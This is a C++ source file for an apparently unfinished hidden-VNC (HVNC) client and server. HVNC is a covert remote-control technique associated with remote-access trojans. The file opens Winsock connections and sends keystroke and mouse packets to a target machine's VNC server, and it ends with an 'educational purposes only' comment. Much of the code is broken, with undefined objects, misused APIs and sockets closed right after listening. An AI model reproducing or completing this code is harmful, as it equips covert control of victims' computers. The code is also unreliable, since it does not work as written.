#include <iostream>

#include "HVNC.h"

HVNCServer::HVNCServer() {
	//Initialzie Winsock
	WSADATA wsaData;
	int iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
	if (iResult != 0) {
		printf("WSAStartup failed: %d\n", iResult);
	}

	server = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
	if (server == INVALID_SOCKET) {
		printf(": bind failed with error %u\n", WSAGetLastError());
		closesocket(server);
		WSACleanup();
	}

	sockaddr_in service;
	service.sin_family = AF_INET;
	service.sin_addr.s_addr = inet_addr(ADDR);
	service.sin_port = htons(PORT);


	if (bind(server, (SOCKADDR*)&service, sizeof(service)) == SOCKET_ERROR) {
		printf("bind failed with error: %u\n", WSAGetLastError());
		closesocket(server);
		WSACleanup();
	}
	if (listen(server, SOMAXCONN) == SOCKET_ERROR) {
		printf("bind failed with error: %u\n", WSAGetLastError());
		closesocket(server);
		WSACleanup();
	}

	// free memory
	closesocket(server);
	WSACleanup();
}

HVNCServer::HVNCServer(std::string addr, std::string port) {

	//Initialzie Winsock
	WSADATA wsaData;
	int iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
	if (iResult != 0) {
		printf("WSAStartup failed: %d\n", iResult);
	}
	server = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
	if (server == INVALID_SOCKET) {
		printf(": bind failed with error %u\n", WSAGetLastError());
		closesocket(server);
		WSACleanup();
	}

	sockaddr_in service;
	service.sin_family = AF_INET;
	service.sin_addr.s_addr = inet_addr(addr);
	service.sin_port = htons(std::stoi(port));


	if (bind(server, (SOCKADDR*)&service, sizeof(service)) == SOCKET_ERROR) {
		printf("bind failed with error: %u\n", WSAGetLastError());
		closesocket(server);
		WSACleanup();
	}
	if (listen(server, SOMAXCONN) == SOCKET_ERROR) {
		printf("bind failed with error: %u\n", WSAGetLastError());
		closesocket(server);
		WSACleanup();
	}
	Sleep(5);
	closesocket(server);
	WSACleanup();

}

void HVNCServer::startListen(std::thread call) {

}

HVNCClient::HVNCClient() {
	HVNCTargetClientObj->server;


}

HVNCClient::HVNCClient(std::string addr, std::string port) {
	//Initialzie Winsock
	struct addrinfo	hints, *result = NULL;
	WSADATA wsaData;
	int iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
	if (iResult != 0) {
		printf("WSAStartup failed: %d\n", iResult);
	}

	ZeroMemory(&hints, sizeof(hints));
	hints.ai_family = AF_UNSPEC;
	hints.ai_socktype = SOCK_STREAM;
	hints.ai_protocol = IPPROTO_TCP;

	getaddrinfo(addr, port, &hints, &result);
	HVNCTargetClientObj->server = socket(result->ai_family, result->ai_socktype, result->ai_protocol);

	// Send an initial buffer
	std::string msg = "rec";
	int iSendResult = send(me->server, msg.c_str(), (int)msg.size(), 0);
	if (iSendResult == SOCKET_ERROR) {
		printf("send failed with error: %d\n", WSAGetLastError());
		closesocket(me->server);
		WSACleanup();
		return;
	}

	printf("Bytes Sent: %ld\n", iSendResult);
	// receive incoming message
	while (1) {
		char recvbuf[DEFAULT_BUFLEN];
		iResult = recv(me->server, recvbuf, recvbuflen, 0);
		if (iResult > 0)
		{
			printf("Bytes received: %d\n", iResult);
			me->proc->handlemessage(recvbuf, iResult);
			break;
		}
		else if (iResult == 0)
			break;
	}
}

void startConnection(HVNCServer server) {
	HVNCThread thread_soc_connect;
	thread_soc_connect.set(&HVNCServer::listenClient, &((HVNCServer*)server));
	thread_soc_connect.start();
}

void connectTarget(HVNCClient client) {
	HVNCThread thread_soc_connect;
	thread_soc_connect.set(&HVNCTargetClient::connect, &((HVNCTargetClient*)client));
	thread_soc_connect.start();
}

void sendKey(HVNCTargetClient target, int key) {
	char send_keyboard[2] = { 'k', 0 };
	send_keyboard[1] = (char)key;
	//HVNCTargetClientObj->proc->SendToVNCServer(send_keyboard, sizeof(send_keyboard));
	HVNCTargetClientObj->proc->SendToVNCServer(send_keyboard, 2);
}

void sendMouse(HVNCTargetClient target, int x, int y, int button) {
	char send_mouse[6];
	send_mouse[4] = (unsigned char)x;
	send_mouse[5] = (unsigned char)y;
	send_mouse[3] = (unsigned char)button;
	send_mouse[1] = (unsigned char)button;
	send_mouse[2] = send_mouse[2] | (char)1;
	send_mouse[0] = (unsigned char)'m';
	HVNCTargetClientObj->proc->SendToVNCServer(send_mouse, 6);

}

void closeConnection(HVNCServer server, HVNCClient client) {
}


char* encodeAnsiToUtf8(char* ansistring) {
	int wcsLength = MultiByteToWideChar(CP_ACP, MB_PRECOMPOSED, ansistring, -1, NULL, 0);;
	wchar_t* wstring = new wchar_t[wcsLength];
	MultiByteToWideChar(CP_ACP, MB_PRECOMPOSED, ansistring, -1, wstring, wcsLength);

	int utf8Length = WideCharToMultiByte(CP_UTF8, 0, wstring, -1, NULL, 0, NULL, NULL);
	char* utf8string = new char[utf8Length];
	WideCharToMultiByte(CP_UTF8, 0, wstring, -1, utf8string, utf8Length, NULL, NULL);

	char* string = new char[utf8Length];
	WideCharToMultiByte(CP_UTF8, 0, wstring, -1, string, utf8Length, NULL, NULL);

	return (string);
}

void sendMessage(HVNCTargetClient tclient, char* mes) {
	char * utf8mes = encodeAnsiToUtf8(mes);
	std::string msg(utf8mes);
	if (msg.size() <= sizeof(0)) { std::stringstream stream;  }
	else {
		int size = msg.size();
		char * pch;
		char * sendbuf[size];
		int i = 0;
		pch = strtok(utf8mes, "#");
		while (pch != NULL)
		{
			std::cout << pch;
			sendbuf[i] = pch;
			i++;
			pch = strtok(NULL, "#");
		}
		/*std::cout << (char)sendbuf[0];
		int iSendResult = send(me->server, mes.c_str(), (int)mes.size(), 0);
		if (iSendResult == SOCKET_ERROR) {
			printf("send failed with error: %d\n", WSAGetLastError());
			closesocket(me->server);
			WSACleanup();
			return;
		}

		printf("Bytes Sent: %ld\n", iSendResult);
		// receive incoming message
		while (1) {
			char recvbuf[DEFAULT_BUFLEN];
			iResult = recv(me->server, recvbuf, recvbuflen, 0);
			if (iResult > 0)
				printf("Bytes received: %d\n", iResult);
			else if (iResult == 0)
				break; &

		}*/
	}

}


/* Hopefully someone can learn from what I never finished */
/* Educational Purposes only please! */